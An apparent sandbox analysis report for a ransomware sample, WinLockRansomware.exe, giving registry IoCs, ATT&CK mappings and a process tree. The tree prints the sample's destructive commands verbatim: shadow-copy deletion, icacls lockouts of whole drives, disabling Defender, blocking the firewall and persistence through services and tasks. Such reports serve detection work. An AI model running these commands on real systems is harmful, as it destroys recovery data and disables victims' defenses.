b078d739956e07d28576b3f3363d552f1cb95821ab98b717ec6731c53de33a7a

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Windows\\System32\\winlogon_fix.exe"	WinLockRansomware.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\System32\\winlogon_fix.exe,"	WinLockRansomware.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Boot or Logon Autostart Execution: Active Setup 2 TTPs 3 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{8AF712B9-F546-4D22-853E-A56B4BB307FD}	WinLockRansomware.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{8AF712B9-F546-4D22-853E-A56B4BB307FD}\StubPath = "C:\\Windows\\System32\\winlogon_fix.exe"	WinLockRansomware.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{8AF712B9-F546-4D22-853E-A56B4BB307FD}\IsInstalled = "1"	WinLockRansomware.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4524	powershell.exe
4584	powershell.exe

Disables RegEdit via registry modification 2 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	WinLockRansomware.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	WinLockRansomware.exe

Disables Task Manager via registry modification
defense_evasion

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

Disable or Modify Tools

T1562.001

pid	Process
4584	powershell.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2548	netsh.exe
3400	netsh.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Modifies file permissions 1 TTPs 3 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3448	icacls.exe
3972	icacls.exe
488	icacls.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\System32\winlogon_fix.exe	WinLockRansomware.exe
File opened for modification	C:\Windows\System32\winlogon_fix.exe	WinLockRansomware.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

persistence privilege_escalation

Ignore Process Interrupts

T1564.011

pid	Process
4584	powershell.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3188	sc.exe
3484	sc.exe
4004	sc.exe
1664	sc.exe
4816	sc.exe
4888	sc.exe
3780	sc.exe
3140	sc.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
860	vssadmin.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2656	schtasks.exe
776	schtasks.exe
868	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4524	powershell.exe
4524	powershell.exe
4584	powershell.exe
4584	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1028	WinLockRansomware.exe
Token: SeDebugPrivilege	4524	powershell.exe
Token: SeDebugPrivilege	4584	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1028 wrote to memory of 3448	1028	WinLockRansomware.exe	80
PID 1028 wrote to memory of 4004	1028	WinLockRansomware.exe	82
PID 1028 wrote to memory of 1664	1028	WinLockRansomware.exe	84
PID 1028 wrote to memory of 4816	1028	WinLockRansomware.exe	86
PID 1028 wrote to memory of 4888	1028	WinLockRansomware.exe	88
PID 1028 wrote to memory of 3780	1028	WinLockRansomware.exe	90
PID 1028 wrote to memory of 3140	1028	WinLockRansomware.exe	92
PID 1028 wrote to memory of 3188	1028	WinLockRansomware.exe	94
PID 1028 wrote to memory of 3484	1028	WinLockRansomware.exe	96
PID 1028 wrote to memory of 2656	1028	WinLockRansomware.exe	98
PID 1028 wrote to memory of 776	1028	WinLockRansomware.exe	100
PID 1028 wrote to memory of 868	1028	WinLockRansomware.exe	102
PID 1028 wrote to memory of 2548	1028	WinLockRansomware.exe	104
PID 1028 wrote to memory of 3400	1028	WinLockRansomware.exe	107
PID 1028 wrote to memory of 4524	1028	WinLockRansomware.exe	109
PID 1028 wrote to memory of 4584	1028	WinLockRansomware.exe	111

System policy modification 1 TTPs 2 IoCs

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	WinLockRansomware.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr = "1"	WinLockRansomware.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\WinLockRansomware.exe
"C:\Users\Admin\AppData\Local\Temp\WinLockRansomware.exe"
1⤵
- Modifies WinLogon for persistence
- Boot or Logon Autostart Execution: Active Setup
- Disables RegEdit via registry modification
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1028
- C:\Windows\SYSTEM32\icacls.exe
  "icacls" "C:\Windows\System32\winlogon_fix.exe" /deny Everyone:F /inheritance:r
  2⤵
  - Modifies file permissions
  PID:3448
- C:\Windows\SYSTEM32\sc.exe
  "sc" create "WinDefSrv" binPath= "C:\Windows\System32\winlogon_fix.exe" start= auto
  2⤵
  - Launches sc.exe
  PID:4004
- C:\Windows\SYSTEM32\sc.exe
  "sc" start "WinDefSrv"
  2⤵
  - Launches sc.exe
  PID:1664
- C:\Windows\SYSTEM32\sc.exe
  "sc" create "WinUpdSrv" binPath= "C:\Windows\System32\winlogon_fix.exe" start= auto
  2⤵
  - Launches sc.exe
  PID:4816
- C:\Windows\SYSTEM32\sc.exe
  "sc" start "WinUpdSrv"
  2⤵
  - Launches sc.exe
  PID:4888
- C:\Windows\SYSTEM32\sc.exe
  "sc" create "WinNetSrv" binPath= "C:\Windows\System32\winlogon_fix.exe" start= auto
  2⤵
  - Launches sc.exe
  PID:3780
- C:\Windows\SYSTEM32\sc.exe
  "sc" start "WinNetSrv"
  2⤵
  - Launches sc.exe
  PID:3140
- C:\Windows\SYSTEM32\sc.exe
  "sc" create "WinSecSrv" binPath= "C:\Windows\System32\winlogon_fix.exe" start= auto
  2⤵
  - Launches sc.exe
  PID:3188
- C:\Windows\SYSTEM32\sc.exe
  "sc" start "WinSecSrv"
  2⤵
  - Launches sc.exe
  PID:3484
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "WinFix_OnLogon" /tr "C:\Windows\System32\winlogon_fix.exe" /sc onlogon /ru SYSTEM /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2656
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "WinFix_OnStart" /tr "C:\Windows\System32\winlogon_fix.exe" /sc onstart /ru SYSTEM /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:776
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "WinFix_Hourly" /tr "C:\Windows\System32\winlogon_fix.exe" /sc hourly /mo 1 /ru SYSTEM /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:868
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" advfirewall set allprofiles firewallpolicy blockinbound,blockoutbound
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:2548
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" advfirewall firewall add rule name="WinSystem" dir=in action=allow program="C:\Windows\System32\winlogon_fix.exe" enable=yes
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:3400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "Add-MpPreference -ExclusionExtension '.jpg,.jpeg,.png,.gif,.bmp,.mp4,.avi,.mkv,.mov,.doc,.docx,.xls,.xlsx,.pdf,.zip,.rar,.ps1,.vbs,.js,.bat,.cmd,.exe,.dll' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4524
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Disables one or more Microsoft Defender components
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4584
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:860
- C:\Windows\SYSTEM32\icacls.exe
  "icacls" "C:\" /deny Everyone:(OI)(CI)F /t /q
  2⤵
  - Modifies file permissions
  PID:3972
- C:\Windows\SYSTEM32\icacls.exe
  "icacls" "F:\" /deny Everyone:(OI)(CI)F /t /q
  2⤵
  - Modifies file permissions
  PID:488
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" interface set interface "Ethernet" admin=disable
  2⤵
  PID:3036

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:1292

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s Netman
1⤵
PID:1076

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry